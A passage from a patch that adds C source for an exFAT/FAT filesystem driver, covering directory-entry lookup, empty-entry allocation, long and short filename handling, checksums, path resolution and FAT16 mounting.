&(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + CHAIN_T dir; + + /* vaidity check */ + if (ep + count > ((DENTRY_T *)&(es->__buf)) + es->num_entries) + return FFS_ERROR; + + dir.dir = GET_CLUSTER_FROM_SECTOR(es->sector); + dir.flags = es->alloc_flag; + dir.size = 0xffffffff; /* XXX */ + + byte_offset = (es->sector - START_SECTOR(dir.dir)) << p_bd->sector_size_bits; + byte_offset += ((void **)ep - &(es->__buf)) + es->offset; + + ret =_walk_fat_chain(sb, &dir, byte_offset, &clu); + if (ret != FFS_SUCCESS) + return ret; + byte_offset &= p_fs->cluster_size - 1; /* byte offset in cluster */ + off = byte_offset & p_bd->sector_size_mask; /* byte offset in sector */ + sec = byte_offset >> p_bd->sector_size_bits; /* sector offset in cluster */ + sec += START_SECTOR(clu); + return __write_partial_entries_in_entry_set(sb, es, sec, off, count); +} + +/* search EMPTY CONTINUOUS "num_entries" entries */ +s32 search_deleted_or_unused_entry(struct super_block *sb, CHAIN_T *p_dir, s32 num_entries) +{ + int i, dentry, num_empty = 0; + s32 dentries_per_clu; + u32 type; + CHAIN_T clu; + DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (p_dir->dir == CLUSTER_32(0)) /* FAT16 root_dir */ + dentries_per_clu = p_fs->dentries_in_root; + else + dentries_per_clu = p_fs->dentries_per_clu; + + if (p_fs->hint_uentry.dir == p_dir->dir) { + if (p_fs->hint_uentry.entry == -1) + return -1; + + clu.dir = p_fs->hint_uentry.clu.dir; + clu.size = p_fs->hint_uentry.clu.size; + clu.flags = p_fs->hint_uentry.clu.flags; + + dentry = p_fs->hint_uentry.entry; + } else { + p_fs->hint_uentry.entry = -1; + + clu.dir = p_dir->dir; + clu.size = p_dir->size; + clu.flags = p_dir->flags; + + dentry = 0; + } + + while (clu.dir != CLUSTER_32(~0)) { + if (p_fs->dev_ejected) + break; + + if (p_dir->dir == CLUSTER_32(0)) /* FAT16 root_dir */ + i = dentry % dentries_per_clu; + else + i = dentry & (dentries_per_clu-1); + + for (; i < dentries_per_clu; i++, dentry++) { + ep = get_entry_in_dir(sb, &clu, i, NULL); + if (!ep) + return -1; + + type = p_fs->fs_func->get_entry_type(ep); + + if (type == TYPE_UNUSED) { + num_empty++; + if (p_fs->hint_uentry.entry == -1) { + p_fs->hint_uentry.dir = p_dir->dir; + p_fs->hint_uentry.entry = dentry; + + p_fs->hint_uentry.clu.dir = clu.dir; + p_fs->hint_uentry.clu.size = clu.size; + p_fs->hint_uentry.clu.flags = clu.flags; + } + } else if (type == TYPE_DELETED) { + num_empty++; + } else { + num_empty = 0; + } + + if (num_empty >= num_entries) { + p_fs->hint_uentry.dir = CLUSTER_32(~0); + p_fs->hint_uentry.entry = -1; + + if (p_fs->vol_type == EXFAT) + return dentry - (num_entries-1); + else + return dentry; + } + } + + if (p_dir->dir == CLUSTER_32(0)) + break; /* FAT16 root_dir */ + + if (clu.flags == 0x03) { + if ((--clu.size) > 0) + clu.dir++; + else + clu.dir = CLUSTER_32(~0); + } else { + if (FAT_read(sb, clu.dir, &(clu.dir)) != 0) + return -1; + } + } + + return -1; +} /* end of search_deleted_or_unused_entry */ + +s32 find_empty_entry(struct inode *inode, CHAIN_T *p_dir, s32 num_entries) +{ + s32 ret, dentry; + u32 last_clu, sector; + u64 size = 0; + CHAIN_T clu; + DENTRY_T *ep = NULL; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + + if (p_dir->dir == CLUSTER_32(0)) /* FAT16 root_dir */ + return search_deleted_or_unused_entry(sb, p_dir, num_entries); + + while ((dentry = search_deleted_or_unused_entry(sb, p_dir, num_entries)) < 0) { + if (p_fs->dev_ejected) + break; + + if (p_fs->vol_type == EXFAT) { + if (p_dir->dir != p_fs->root_dir) + size = i_size_read(inode); + } + + last_clu = find_last_cluster(sb, p_dir); + clu.dir = last_clu + 1; + clu.size = 0; + clu.flags = p_dir->flags; + + /* (1) allocate a cluster */ + ret = p_fs->fs_func->alloc_cluster(sb, 1, &clu); + if (ret < 1) + return -1; + + if (clear_cluster(sb, clu.dir) != FFS_SUCCESS) + return -1; + + /* (2) append to the FAT chain */ + if (clu.flags != p_dir->flags) { + exfat_chain_cont_cluster(sb, p_dir->dir, p_dir->size); + p_dir->flags = 0x01; + p_fs->hint_uentry.clu.flags = 0x01; + } + if (clu.flags == 0x01) + if (FAT_write(sb, last_clu, clu.dir) < 0) + return -1; + + if (p_fs->hint_uentry.entry == -1) { + p_fs->hint_uentry.dir = p_dir->dir; + p_fs->hint_uentry.entry = p_dir->size << (p_fs->cluster_size_bits - DENTRY_SIZE_BITS); + + p_fs->hint_uentry.clu.dir = clu.dir; + p_fs->hint_uentry.clu.size = 0; + p_fs->hint_uentry.clu.flags = clu.flags; + } + p_fs->hint_uentry.clu.size++; + p_dir->size++; + + /* (3) update the directory entry */ + if (p_fs->vol_type == EXFAT) { + if (p_dir->dir != p_fs->root_dir) { + size += p_fs->cluster_size; + + ep = get_entry_in_dir(sb, &(fid->dir), fid->entry+1, §or); + if (!ep) + return -1; + p_fs->fs_func->set_entry_size(ep, size); + p_fs->fs_func->set_entry_flag(ep, p_dir->flags); + buf_modify(sb, sector); + + update_dir_checksum(sb, &(fid->dir), fid->entry); + } + } + + i_size_write(inode, i_size_read(inode)+p_fs->cluster_size); + EXFAT_I(inode)->mmu_private += p_fs->cluster_size; + EXFAT_I(inode)->fid.size += p_fs->cluster_size; + EXFAT_I(inode)->fid.flags = p_dir->flags; + inode->i_blocks += 1 << (p_fs->cluster_size_bits - 9); + } + + return dentry; +} /* end of find_empty_entry */ + +/* return values of fat_find_dir_entry() + >= 0 : return dir entiry position with the name in dir + -1 : (root dir, ".") it is the root dir itself + -2 : entry with the name does not exist */ +s32 fat_find_dir_entry(struct super_block *sb, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, s32 num_entries, DOS_NAME_T *p_dosname, u32 type) +{ + int i, dentry = 0, lossy = FALSE, len; + s32 order = 0, is_feasible_entry = TRUE, has_ext_entry = FALSE; + s32 dentries_per_clu; + u32 entry_type; + u16 entry_uniname[14], *uniname = NULL, unichar; + CHAIN_T clu; + DENTRY_T *ep; + DOS_DENTRY_T *dos_ep; + EXT_DENTRY_T *ext_ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (p_dir->dir == p_fs->root_dir) { + if ((!nls_uniname_cmp(sb, p_uniname->name, (u16 *) UNI_CUR_DIR_NAME)) || + (!nls_uniname_cmp(sb, p_uniname->name, (u16 *) UNI_PAR_DIR_NAME))) + return -1; // special case, root directory itself + } + + if (p_dir->dir == CLUSTER_32(0)) /* FAT16 root_dir */ + dentries_per_clu = p_fs->dentries_in_root; + else + dentries_per_clu = p_fs->dentries_per_clu; + + clu.dir = p_dir->dir; + clu.flags = p_dir->flags; + + while (clu.dir != CLUSTER_32(~0)) { + if (p_fs->dev_ejected) + break; + + for (i = 0; i < dentries_per_clu; i++, dentry++) { + ep = get_entry_in_dir(sb, &clu, i, NULL); + if (!ep) + return -2; + + entry_type = p_fs->fs_func->get_entry_type(ep); + + if ((entry_type == TYPE_FILE) || (entry_type == TYPE_DIR)) { + if ((type == TYPE_ALL) || (type == entry_type)) { + if (is_feasible_entry && has_ext_entry) + return dentry; + + dos_ep = (DOS_DENTRY_T *) ep; + if ((!lossy) && (!nls_dosname_cmp(sb, p_dosname->name, dos_ep->name))) + return dentry; + } + is_feasible_entry = TRUE; + has_ext_entry = FALSE; + } else if (entry_type == TYPE_EXTEND) { + if (is_feasible_entry) { + ext_ep = (EXT_DENTRY_T *) ep; + if (ext_ep->order > 0x40) { + order = (s32)(ext_ep->order - 0x40); + uniname = p_uniname->name + 13 * (order-1); + } else { + order = (s32) ext_ep->order; + uniname -= 13; + } + + len = extract_uni_name_from_ext_entry(ext_ep, entry_uniname, order); + + unichar = *(uniname+len); + *(uniname+len) = 0x0; + + if (nls_uniname_cmp(sb, uniname, entry_uniname)) + is_feasible_entry = FALSE; + + *(uniname+len) = unichar; + } + has_ext_entry = TRUE; + } else if (entry_type == TYPE_UNUSED) { + return -2; + } else { + is_feasible_entry = TRUE; + has_ext_entry = FALSE; + } + } + + if (p_dir->dir == CLUSTER_32(0)) + break; /* FAT16 root_dir */ + + if (FAT_read(sb, clu.dir, &(clu.dir)) != 0) + return -2; + } + + return -2; +} /* end of fat_find_dir_entry */ + +/* return values of exfat_find_dir_entry() + >= 0 : return dir entiry position with the name in dir + -1 : (root dir, ".") it is the root dir itself + -2 : entry with the name does not exist */ +s32 exfat_find_dir_entry(struct super_block *sb, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, s32 num_entries, DOS_NAME_T *p_dosname, u32 type) +{ + int i, dentry = 0, num_ext_entries = 0, len; + s32 order = 0, is_feasible_entry = FALSE; + s32 dentries_per_clu, num_empty = 0; + u32 entry_type; + u16 entry_uniname[16], *uniname = NULL, unichar; + CHAIN_T clu; + DENTRY_T *ep; + FILE_DENTRY_T *file_ep; + STRM_DENTRY_T *strm_ep; + NAME_DENTRY_T *name_ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (p_dir->dir == p_fs->root_dir) { + if ((!nls_uniname_cmp(sb, p_uniname->name, (u16 *) UNI_CUR_DIR_NAME)) || + (!nls_uniname_cmp(sb, p_uniname->name, (u16 *) UNI_PAR_DIR_NAME))) + return -1; // special case, root directory itself + } + + if (p_dir->dir == CLUSTER_32(0)) /* FAT16 root_dir */ + dentries_per_clu = p_fs->dentries_in_root; + else + dentries_per_clu = p_fs->dentries_per_clu; + + clu.dir = p_dir->dir; + clu.size = p_dir->size; + clu.flags = p_dir->flags; + + p_fs->hint_uentry.dir = p_dir->dir; + p_fs->hint_uentry.entry = -1; + + while (clu.dir != CLUSTER_32(~0)) { + if (p_fs->dev_ejected) + break; + + for (i = 0; i < dentries_per_clu; i++, dentry++) { + ep = get_entry_in_dir(sb, &clu, i, NULL); + if (!ep) + return -2; + + entry_type = p_fs->fs_func->get_entry_type(ep); + + if ((entry_type == TYPE_UNUSED) || (entry_type == TYPE_DELETED)) { + is_feasible_entry = FALSE; + + if (p_fs->hint_uentry.entry == -1) { + num_empty++; + + if (num_empty == 1) { + p_fs->hint_uentry.clu.dir = clu.dir; + p_fs->hint_uentry.clu.size = clu.size; + p_fs->hint_uentry.clu.flags = clu.flags; + } + if ((num_empty >= num_entries) || (entry_type == TYPE_UNUSED)) + p_fs->hint_uentry.entry = dentry - (num_empty-1); + } + + if (entry_type == TYPE_UNUSED) + return -2; + } else { + num_empty = 0; + + if ((entry_type == TYPE_FILE) || (entry_type == TYPE_DIR)) { + if ((type == TYPE_ALL) || (type == entry_type)) { + file_ep = (FILE_DENTRY_T *) ep; + num_ext_entries = file_ep->num_ext; + is_feasible_entry = TRUE; + } else { + is_feasible_entry = FALSE; + } + } else if (entry_type == TYPE_STREAM) { + if (is_feasible_entry) { + strm_ep = (STRM_DENTRY_T *) ep; + if (p_uniname->name_len == strm_ep->name_len) { + order = 1; + } else { + is_feasible_entry = FALSE; + } + } + } else if (entry_type == TYPE_EXTEND) { + if (is_feasible_entry) { + name_ep = (NAME_DENTRY_T *) ep; + + if ((++order) == 2) + uniname = p_uniname->name; + else + uniname += 15; + + len = extract_uni_name_from_name_entry(name_ep, entry_uniname, order); + + unichar = *(uniname+len); + *(uniname+len) = 0x0; + + if (nls_uniname_cmp(sb, uniname, entry_uniname)) { + is_feasible_entry = FALSE; + } else if (order == num_ext_entries) { + p_fs->hint_uentry.dir = CLUSTER_32(~0); + p_fs->hint_uentry.entry = -1; + return dentry - (num_ext_entries); + } + + *(uniname+len) = unichar; + } + } else { + is_feasible_entry = FALSE; + } + } + } + + if (p_dir->dir == CLUSTER_32(0)) + break; /* FAT16 root_dir */ + + if (clu.flags == 0x03) { + if ((--clu.size) > 0) + clu.dir++; + else + clu.dir = CLUSTER_32(~0); + } else { + if (FAT_read(sb, clu.dir, &(clu.dir)) != 0) + return -2; + } + } + + return -2; +} /* end of exfat_find_dir_entry */ + +/* returns -1 on error */ +s32 fat_count_ext_entries(struct super_block *sb, CHAIN_T *p_dir, s32 entry, DENTRY_T *p_entry) +{ + s32 count = 0; + u8 chksum; + DOS_DENTRY_T *dos_ep = (DOS_DENTRY_T *) p_entry; + EXT_DENTRY_T *ext_ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + chksum = calc_checksum_1byte((void *) dos_ep->name, DOS_NAME_LENGTH, 0); + + for (entry--; entry >= 0; entry--) { + ext_ep = (EXT_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry, NULL); + if (!ext_ep) + return -1; + + if ((p_fs->fs_func->get_entry_type((DENTRY_T *) ext_ep) == TYPE_EXTEND) && + (ext_ep->checksum == chksum)) { + count++; + if (ext_ep->order > 0x40) + return count; + } else { + return count; + } + } + + return count; +} /* end of fat_count_ext_entries */ + +/* returns -1 on error */ +s32 exfat_count_ext_entries(struct super_block *sb, CHAIN_T *p_dir, s32 entry, DENTRY_T *p_entry) +{ + int i, count = 0; + u32 type; + FILE_DENTRY_T *file_ep = (FILE_DENTRY_T *) p_entry; + DENTRY_T *ext_ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + for (i = 0, entry++; i < file_ep->num_ext; i++, entry++) { + ext_ep = get_entry_in_dir(sb, p_dir, entry, NULL); + if (!ext_ep) + return -1; + + type = p_fs->fs_func->get_entry_type(ext_ep); + if ((type == TYPE_EXTEND) || (type == TYPE_STREAM)) + count++; + else + return count; + } + + return count; +} /* end of exfat_count_ext_entries */ + +/* returns -1 on error */ +s32 count_dos_name_entries(struct super_block *sb, CHAIN_T *p_dir, u32 type) +{ + int i, count = 0; + s32 dentries_per_clu; + u32 entry_type; + CHAIN_T clu; + DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (p_dir->dir == CLUSTER_32(0)) /* FAT16 root_dir */ + dentries_per_clu = p_fs->dentries_in_root; + else + dentries_per_clu = p_fs->dentries_per_clu; + + clu.dir = p_dir->dir; + clu.size = p_dir->size; + clu.flags = p_dir->flags; + + while (clu.dir != CLUSTER_32(~0)) { + if (p_fs->dev_ejected) + break; + + for (i = 0; i < dentries_per_clu; i++) { + ep = get_entry_in_dir(sb, &clu, i, NULL); + if (!ep) + return -1; + + entry_type = p_fs->fs_func->get_entry_type(ep); + + if (entry_type == TYPE_UNUSED) + return count; + if (!(type & TYPE_CRITICAL_PRI) && !(type & TYPE_BENIGN_PRI)) + continue; + + if ((type == TYPE_ALL) || (type == entry_type)) + count++; + } + + if (p_dir->dir == CLUSTER_32(0)) + break; /* FAT16 root_dir */ + + if (clu.flags == 0x03) { + if ((--clu.size) > 0) + clu.dir++; + else + clu.dir = CLUSTER_32(~0); + } else { + if (FAT_read(sb, clu.dir, &(clu.dir)) != 0) + return -1; + } + } + + return count; +} /* end of count_dos_name_entries */ + +bool is_dir_empty(struct super_block *sb, CHAIN_T *p_dir) +{ + int i, count = 0; + s32 dentries_per_clu; + u32 type; + CHAIN_T clu; + DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (p_dir->dir == CLUSTER_32(0)) /* FAT16 root_dir */ + dentries_per_clu = p_fs->dentries_in_root; + else + dentries_per_clu = p_fs->dentries_per_clu; + + clu.dir = p_dir->dir; + clu.size = p_dir->size; + clu.flags = p_dir->flags; + + while (clu.dir != CLUSTER_32(~0)) { + if (p_fs->dev_ejected) + break; + + for (i = 0; i < dentries_per_clu; i++) { + ep = get_entry_in_dir(sb, &clu, i, NULL); + if (!ep) + break; + + type = p_fs->fs_func->get_entry_type(ep); + + if (type == TYPE_UNUSED) + return TRUE; + if ((type != TYPE_FILE) && (type != TYPE_DIR)) + continue; + + if (p_dir->dir == CLUSTER_32(0)) { /* FAT16 root_dir */ + return FALSE; + } else { + if (p_fs->vol_type == EXFAT) + return FALSE; + if ((p_dir->dir == p_fs->root_dir) || ((++count) > 2)) + return FALSE; + } + } + + if (p_dir->dir == CLUSTER_32(0)) + break; /* FAT16 root_dir */ + + if (clu.flags == 0x03) { + if ((--clu.size) > 0) + clu.dir++; + else + clu.dir = CLUSTER_32(~0); + } else { + if (FAT_read(sb, clu.dir, &(clu.dir)) != 0) + break; + } + } + + return TRUE; +} /* end of is_dir_empty */ + +/* + * Name Conversion Functions + */ + +/* input : dir, uni_name + output : num_of_entry, dos_name(format : aaaaaa~1.bbb) */ +s32 get_num_entries_and_dos_name(struct super_block *sb, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, s32 *entries, DOS_NAME_T *p_dosname) +{ + s32 ret, num_entries, lossy = FALSE; + char **r; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + num_entries = p_fs->fs_func->calc_num_entries(p_uniname); + if (num_entries == 0) + return FFS_INVALIDPATH; + + if (p_fs->vol_type != EXFAT) { + nls_uniname_to_dosname(sb, p_dosname, p_uniname, &lossy); + + if (lossy) { + ret = fat_generate_dos_name(sb, p_dir, p_dosname); + if (ret) + return ret; + } else { + for (r = reserved_names; *r; r++) { + if (!strncmp((void *) p_dosname->name, *r, 8)) + return FFS_INVALIDPATH; + } + + if (p_dosname->name_case != 0xFF) + num_entries = 1; + } + + if (num_entries > 1) + p_dosname->name_case = 0x0; + } + + *entries = num_entries; + + return FFS_SUCCESS; +} /* end of get_num_entries_and_dos_name */ + +void get_uni_name_from_dos_entry(struct super_block *sb, DOS_DENTRY_T *ep, UNI_NAME_T *p_uniname, u8 mode) +{ + DOS_NAME_T dos_name; + + if (mode == 0x0) + dos_name.name_case = 0x0; + else + dos_name.name_case = ep->lcase; + + memcpy(dos_name.name, ep->name, DOS_NAME_LENGTH); + nls_dosname_to_uniname(sb, p_uniname, &dos_name); +} /* end of get_uni_name_from_dos_entry */ + +void fat_get_uni_name_from_ext_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u16 *uniname) +{ + int i; + EXT_DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + for (entry--, i = 1; entry >= 0; entry--, i++) { + ep = (EXT_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry, NULL); + if (!ep) + return; + + if (p_fs->fs_func->get_entry_type((DENTRY_T *) ep) == TYPE_EXTEND) { + extract_uni_name_from_ext_entry(ep, uniname, i); + if (ep->order > 0x40) + return; + } else { + return; + } + + uniname += 13; + } +} /* end of fat_get_uni_name_from_ext_entry */ + +void exfat_get_uni_name_from_ext_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u16 *uniname) +{ + int i; + DENTRY_T *ep; + ENTRY_SET_CACHE_T *es; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + es = get_entry_set_in_dir(sb, p_dir, entry, ES_ALL_ENTRIES, &ep); + if (es == NULL || es->num_entries < 3) { + if (es) + release_entry_set(es); + return; + } + + ep += 2; + + /* + * First entry : file entry + * Second entry : stream-extension entry + * Third entry : first file-name entry + * So, the index of first file-name dentry should start from 2. + */ + for (i = 2; i < es->num_entries; i++, ep++) { + if (p_fs->fs_func->get_entry_type(ep) == TYPE_EXTEND) + extract_uni_name_from_name_entry((NAME_DENTRY_T *)ep, uniname, i); + else + goto out; + uniname += 15; + } + +out: + release_entry_set(es); +} /* end of exfat_get_uni_name_from_ext_entry */ + +s32 extract_uni_name_from_ext_entry(EXT_DENTRY_T *ep, u16 *uniname, s32 order) +{ + int i, len = 0; + + for (i = 0; i < 10; i += 2) { + *uniname = GET16(ep->unicode_0_4+i); + if (*uniname == 0x0) + return len; + uniname++; + len++; + } + + if (order < 20) { + for (i = 0; i < 12; i += 2) { + *uniname = GET16_A(ep->unicode_5_10+i); + if (*uniname == 0x0) + return len; + uniname++; + len++; + } + } else { + for (i = 0; i < 8; i += 2) { + *uniname = GET16_A(ep->unicode_5_10+i); + if (*uniname == 0x0) + return len; + uniname++; + len++; + } + *uniname = 0x0; /* uniname[MAX_NAME_LENGTH-1] */ + return len; + } + + for (i = 0; i < 4; i += 2) { + *uniname = GET16_A(ep->unicode_11_12+i); + if (*uniname == 0x0) + return len; + uniname++; + len++; + } + + *uniname = 0x0; + return len; + +} /* end of extract_uni_name_from_ext_entry */ + +s32 extract_uni_name_from_name_entry(NAME_DENTRY_T *ep, u16 *uniname, s32 order) +{ + int i, len = 0; + + for (i = 0; i < 30; i += 2) { + *uniname = GET16_A(ep->unicode_0_14+i); + if (*uniname == 0x0) + return len; + uniname++; + len++; + } + + *uniname = 0x0; + return len; + +} /* end of extract_uni_name_from_name_entry */ + +s32 fat_generate_dos_name(struct super_block *sb, CHAIN_T *p_dir, DOS_NAME_T *p_dosname) +{ + int i, j, count = 0, count_begin = FALSE; + s32 dentries_per_clu; + u32 type; + u8 bmap[128/* 1 ~ 1023 */]; + CHAIN_T clu; + DOS_DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + memset(bmap, 0, sizeof bmap); + exfat_bitmap_set(bmap, 0); + + if (p_dir->dir == CLUSTER_32(0)) /* FAT16 root_dir */ + dentries_per_clu = p_fs->dentries_in_root; + else + dentries_per_clu = p_fs->dentries_per_clu; + + clu.dir = p_dir->dir; + clu.flags = p_dir->flags; + + while (clu.dir != CLUSTER_32(~0)) { + if (p_fs->dev_ejected) + break; + + for (i = 0; i < dentries_per_clu; i++) { + ep = (DOS_DENTRY_T *) get_entry_in_dir(sb, &clu, i, NULL); + if (!ep) + return FFS_MEDIAERR; + + type = p_fs->fs_func->get_entry_type((DENTRY_T *) ep); + + if (type == TYPE_UNUSED) + break; + if ((type != TYPE_FILE) && (type != TYPE_DIR)) + continue; + + count = 0; + count_begin = FALSE; + + for (j = 0; j < 8; j++) { + if (ep->name[j] == ' ') + break; + + if (ep->name[j] == '~') { + count_begin = TRUE; + } else if (count_begin) { + if ((ep->name[j] >= '0') && (ep->name[j] <= '9')) { + count = count * 10 + (ep->name[j] - '0'); + } else { + count = 0; + count_begin = FALSE; + } + } + } + + if ((count > 0) && (count < 1024)) + exfat_bitmap_set(bmap, count); + } + + if (p_dir->dir == CLUSTER_32(0)) + break; /* FAT16 root_dir */ + + if (FAT_read(sb, clu.dir, &(clu.dir)) != 0) + return FFS_MEDIAERR; + } + + count = 0; + for (i = 0; i < 128; i++) { + if (bmap[i] != 0xFF) { + for (j = 0; j < 8; j++) { + if (exfat_bitmap_test(&(bmap[i]), j) == 0) { + count = (i << 3) + j; + break; + } + } + if (count != 0) + break; + } + } + + if ((count == 0) || (count >= 1024)) + return FFS_FILEEXIST; + else + fat_attach_count_to_dos_name(p_dosname->name, count); + + /* Now dos_name has DOS~????.EXT */ + return FFS_SUCCESS; +} /* end of generate_dos_name */ + +void fat_attach_count_to_dos_name(u8 *dosname, s32 count) +{ + int i, j, length; + char str_count[6]; + + snprintf(str_count, sizeof str_count, "~%d", count); + length = strlen(str_count); + + i = j = 0; + while (j <= (8 - length)) { + i = j; + if (dosname[j] == ' ') + break; + if (dosname[j] & 0x80) + j += 2; + else + j++; + } + + for (j = 0; j < length; i++, j++) + dosname[i] = (u8) str_count[j]; + + if (i == 7) + dosname[7] = ' '; + +} /* end of attach_count_to_dos_name */ + +s32 fat_calc_num_entries(UNI_NAME_T *p_uniname) +{ + s32 len; + + len = p_uniname->name_len; + if (len == 0) + return 0; + + /* 1 dos name entry + extended entries */ + return (len-1) / 13 + 2; + +} /* end of calc_num_enties */ + +s32 exfat_calc_num_entries(UNI_NAME_T *p_uniname) +{ + s32 len; + + len = p_uniname->name_len; + if (len == 0) + return 0; + + /* 1 file entry + 1 stream entry + name entries */ + return (len-1) / 15 + 3; + +} /* end of exfat_calc_num_enties */ + +u8 calc_checksum_1byte(void *data, s32 len, u8 chksum) +{ + int i; + u8 *c = (u8 *) data; + + for (i = 0; i < len; i++, c++) + chksum = (((chksum & 1) << 7) | ((chksum & 0xFE) >> 1)) + *c; + + return chksum; +} /* end of calc_checksum_1byte */ + +u16 calc_checksum_2byte(void *data, s32 len, u16 chksum, s32 type) +{ + int i; + u8 *c = (u8 *) data; + + switch (type) { + case CS_DIR_ENTRY: + for (i = 0; i < len; i++, c++) { + if ((i == 2) || (i == 3)) + continue; + chksum = (((chksum & 1) << 15) | ((chksum & 0xFFFE) >> 1)) + (u16) *c; + } + break; + default + : + for (i = 0; i < len; i++, c++) + chksum = (((chksum & 1) << 15) | ((chksum & 0xFFFE) >> 1)) + (u16) *c; + } + + return chksum; +} /* end of calc_checksum_2byte */ + +u32 calc_checksum_4byte(void *data, s32 len, u32 chksum, s32 type) +{ + int i; + u8 *c = (u8 *) data; + + switch (type) { + case CS_PBR_SECTOR: + for (i = 0; i < len; i++, c++) { + if ((i == 106) || (i == 107) || (i == 112)) + continue; + chksum = (((chksum & 1) << 31) | ((chksum & 0xFFFFFFFE) >> 1)) + (u32) *c; + } + break; + default + : + for (i = 0; i < len; i++, c++) + chksum = (((chksum & 1) << 31) | ((chksum & 0xFFFFFFFE) >> 1)) + (u32) *c; + } + + return chksum; +} /* end of calc_checksum_4byte */ + +/* + * Name Resolution Functions + */ + +/* return values of resolve_path() + > 0 : return the length of the path + < 0 : return error */ +s32 resolve_path(struct inode *inode, char *path, CHAIN_T *p_dir, UNI_NAME_T *p_uniname) +{ + s32 lossy = FALSE; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + + if (strlen(path) >= (MAX_NAME_LENGTH * MAX_CHARSET_SIZE)) + return FFS_INVALIDPATH; + + strcpy(name_buf, path); + + nls_cstring_to_uniname(sb, p_uniname, name_buf, &lossy); + if (lossy) + return FFS_INVALIDPATH; + + fid->size = i_size_read(inode); + + p_dir->dir = fid->start_clu; + p_dir->size = (s32)(fid->size >> p_fs->cluster_size_bits); + p_dir->flags = fid->flags; + + return FFS_SUCCESS; +} + +/* + * File Operation Functions + */ +static FS_FUNC_T fat_fs_func = { + .alloc_cluster = fat_alloc_cluster, + .free_cluster = fat_free_cluster, + .count_used_clusters = fat_count_used_clusters, + + .init_dir_entry = fat_init_dir_entry, + .init_ext_entry = fat_init_ext_entry, + .find_dir_entry = fat_find_dir_entry, + .delete_dir_entry = fat_delete_dir_entry, + .get_uni_name_from_ext_entry = fat_get_uni_name_from_ext_entry, + .count_ext_entries = fat_count_ext_entries, + .calc_num_entries = fat_calc_num_entries, + + .get_entry_type = fat_get_entry_type, + .set_entry_type = fat_set_entry_type, + .get_entry_attr = fat_get_entry_attr, + .set_entry_attr = fat_set_entry_attr, + .get_entry_flag = fat_get_entry_flag, + .set_entry_flag = fat_set_entry_flag, + .get_entry_clu0 = fat_get_entry_clu0, + .set_entry_clu0 = fat_set_entry_clu0, + .get_entry_size = fat_get_entry_size, + .set_entry_size = fat_set_entry_size, + .get_entry_time = fat_get_entry_time, + .set_entry_time = fat_set_entry_time, +}; + + +s32 fat16_mount(struct super_block *sb, PBR_SECTOR_T *p_pbr) +{ + s32 num_reserved, num_root_sectors; + BPB16_T *p_bpb = (BPB16_T *) p_pbr->bpb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + if (p_bpb->num_fats == 0) + return FFS_FORMATERR; + + num_root_sectors = GET16(p_bpb->num_root_entries) << DENTRY_SIZE_BITS; + num_root_sectors = ((num_root_sectors-1) >> p_bd->sector_size_bits) + 1; + + p_fs->sectors_per_clu = p_bpb->sectors_per_clu; + p_fs->sectors_per_clu_bits = ilog2(p_bpb->sectors_per_clu); + p_fs->cluster_size_bits = p_fs->sectors_per_clu_bits + p_bd->sector_size_bits; + p_fs->cluster_size = 1 << p_fs->cluster_size_bits; + + p_fs->num_FAT_sectors = GET16(p_bpb->num_fat_sectors); + + p_fs->FAT1_start_sector = p_fs->PBR_sector + GET16(p_bpb->num_reserved); + if (p_bpb->num_fats == 1) + p_fs->FAT2_start_sector = p_fs->FAT1_start_sector; + else + p_fs->FAT2_start_sector = p_fs->FAT1_start_sector + p_fs->num_FAT_sectors; + + p_fs->root_start_sector = p_fs->FAT2_start_sector + p_fs->num_FAT_sectors; + p_fs->data_start_sector = p_fs->root_start_sector + num_root_sectors; + + p_fs->num_sectors = GET16(p_bpb->num_sectors); + if (p_fs->num_sectors == 0) + p_fs->num_sectors = GET32(p_bpb->num_huge_sectors); + + num_reserved = p_fs->data_start_sector - p_fs->PBR_sector; + p_fs->num_clusters = ((p_fs->num_sectors - num_reserved) >> p_fs->sectors_per_clu_bits) + 2; + /* because the cluster index starts with 2 */ + + if (p_fs->num_clusters < FAT12_THRESHOLD) + p_fs->vol_type = FAT12; + else + p_fs->vol_type = FAT16; + p_fs->vol_id = GET32(p_bpb->vol_serial); + + p_fs->root_dir = 0; + p_fs->dentries_in_root = GET16(p_bpb->num_root_entries); + p_fs->dentries_per_clu = 1 << (p_fs->cluster_size_bits - DENTRY_SIZE_BITS); + + p_fs->vol_flag = VOL_CLEAN; + p_fs->clu_srch_ptr = 2; + p_fs->used_clusters = (u32) ~0; + + p_fs->fs_func = &fat_fs_func; + + return FFS_SUCCESS; +} /* end of fat16_mount */ + +s32 fat32_mount(struct super_block *sb, PBR_SECTOR_T *p_pbr) +{ + s32 num_reserved; + BPB32_T *p_bpb = (BPB32_T *) p_pbr->bpb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = 